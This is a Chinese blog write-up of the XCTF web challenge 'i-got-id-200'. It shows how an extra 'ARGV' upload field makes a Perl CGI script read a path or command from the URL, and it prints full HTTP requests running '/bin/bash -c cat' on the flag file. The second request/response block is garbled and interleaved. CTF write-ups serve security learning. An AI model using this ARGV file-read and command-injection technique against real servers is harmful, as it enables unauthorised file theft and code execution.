

xctf web i-got-id-200

原创

doudoudedi 于 2019-06-20 13:00:22 发布 3579 收藏 2

分类专栏: [xctf](#) 文章标签: [xctf web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_37433000/article/details/93016297

版权



[xctf 专栏收录该内容](#)

5 篇文章 0 订阅

订阅专栏

今天就一个毛概课但是很热啊

中午来写一个wp

打开题目会有



- [Hello World](#)
- [Forms](#)
- [Files](#)

https://blog.csdn.net/qq_37433000

直接跳到文件会有一个上传, 但它会将上传的内容显示出来
我们可以猜测他的php代码 (前面还有提示哦)

```
```perl use strict; use warnings; use CGI;  
my $cgi= CGI->new;
if ($cgi->upload('file'))
{ my $file= $cgi->param('file');
while (<$file>)
{ print "$_";
}}
```

那么, 这里就存在一个可以利用的地方, `param()`函数会返回一个列表的文件但是只有第一个文件会被放入到下面的`file`变量中。  
而对于下面的读文件逻辑来说, 如果我们传入一个`ARGV`的文件, 那么`Perl`会将传入的参数作为文件名读出来。这样, 我们的利用方法就出现了: 在正常的上传文件前面加上一个文件上传项`ARGV`, 然后在`URL`中传入文件路径参数, 这样就可以读取任意文件了。

**Request**  
 Raw Params Headers Hex  
 POST /cgi-bin/file.pl?/bin/bash%20-c%20cat%7BIFS%7D/flag HTTP/1.1  
 Host: 111.198.29.45:53678  
 Content-Length: 311  
 Cache-Control: max-age=0  
 Origin: http://111.198.29.45:53678  
 Upgrade-Insecure-Requests: 1  
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36  
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCdlkOn9ljh05iHa  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
 Referer: http://111.198.29.45:53678/cgi-bin/file.pl  
 Accept-Encoding: gzip, deflate  
 Accept-Language: zh-CN,zh;q=0.8  
 Connection: close  
  
 -----WebKitFormBoundaryDCdlkOn9ljh05iHa  
 Content-Disposition: form-data; name="file"  
 Content-Type: text/plain  
  
**ARGV**  
 -----WebKitFormBoundaryDCdlkOn9ljh05iHa  
 Content-Disposition: form-data; name="file"; filename="jiajia.py"  
 Content-Type: text/plain  
  
**Submit!**  
 -----WebKitFormBoundaryDCdlkOn9ljh05iHa-

**Response**  
 Raw Headers Hex HTML Render  
 Content-Type: text/html; charset=ISO-8859-1  
  
 <!DOCTYPE html  
   PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
  
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"  
 >  
 <html xmlns="http://www.w3.org/1999/xhtml"  
   lang="en-US" xml:lang="en-US">  
   <head>  
     <title>Perl File Upload</title>  
     <meta http-equiv="Content-Type"  
       content="text/html; charset=iso-8859-1" />  
   </head>  
   <body>  
     <h1>Perl File Upload</h1>  
     <form method="post"  
       enctype="multipart/form-data">  
       **File:** <input type="file" name="file" />  
       <input type="submit" name="Submit!" />  
       value="Submit!" />  
     </form>  
     <hr />  
     **cyberpeace{3e73d9494000f5bb9e357c017acc88fc}**  
     <br /></body></html>  
  
 https://blog.csdn.net/qq\_3743300

这里还可以猜flag的比如

**Request**  
 Raw Params Headers Hex  
 POST /cgi-bin/file.pl?/flag HTTP/1.1  
 Host: 111.198.29.45:53678  
 Content-Length: 311  
 Cache-Control: max-age=0  
 Origin: http://111.198.29.45:53678  
 Upgrade-Insecure-Requests: 1  
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36  
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCdlkOn9ljh05iHa  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
 Referer: http://111.198.29.45:53678/cgi-bin/file.pl  
 Accept-Encoding: gzip, deflate  
 Accept-Language: zh-CN,zh;q=0.8  
 Connection: close  
  
 -----WebKitFormBoundaryDCdlkOn9ljh05iHa  
 Content-Disposition: form-data; name="file"

**Response**  
 Raw Headers Hex HTML Render  
 Content-Type: text/html; charset=ISO-8859-1  
  
 <!DOCTYPE html  
   PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
  
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"  
 >  
 <html xmlns="http://www.w3.org/1999/xhtml"  
   lang="en-US" xml:lang="en-US">  
   <head>  
     <title>Perl File Upload</title>  
     <meta http-equiv="Content-Type"  
       content="text/html; charset=iso-8859-1" />  
   </head>  
   <body>  
     <h1>Perl File Upload</h1>  
     <form method="post"

Content-Type: text/plain

ARGV

-----WebKitFormBoundaryDCdlkOn9ljh05iHa

Content-Disposition: form-data; name="file"; filename="jiajia.py"

Content-Type: text/plain

Submit!

-----WebKitFormBoundaryDCdlkOn9ljh05iHa--

enctype="multipart/form-data">

File: <input type="file" name="file" />

<input type="submit" name="Submit!"

value="Submit!" />

</form>

<hr />

cyberpeace{3e73d9494000f5bb9e357c017acc88fc}

<br /></body></html>

Done

0 matches

0 matches

797 bytes | 94 millis

[https://blog.csdn.net/qq\\_43421599/article/details/105111111](https://blog.csdn.net/qq_43421599/article/details/105111111)

水完了哈哈

/bin/bash%20-c%20lsIFS|/bin/bash{IFS}/flag|